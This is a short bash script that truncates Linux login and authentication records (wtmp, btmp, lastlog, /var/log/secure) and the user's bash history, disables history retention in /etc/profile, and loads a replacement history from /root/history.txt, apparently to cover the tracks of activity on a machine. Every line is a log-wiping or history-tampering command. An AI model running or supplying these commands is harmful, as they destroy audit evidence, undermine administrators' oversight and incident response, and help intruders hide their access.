#/bin/bash
echo "" > /var/log/wtmp
last
echo "" > /var/log/btmp
lastb
echo "" > /var/log/lastlog
echo "" > /var/log/secure
echo "" >~/.bash_history 
sed -i "s@HISTSIZE=1000@HISTSIZE=0@g" /etc/profile
history -c
history -r /root/history.txt
history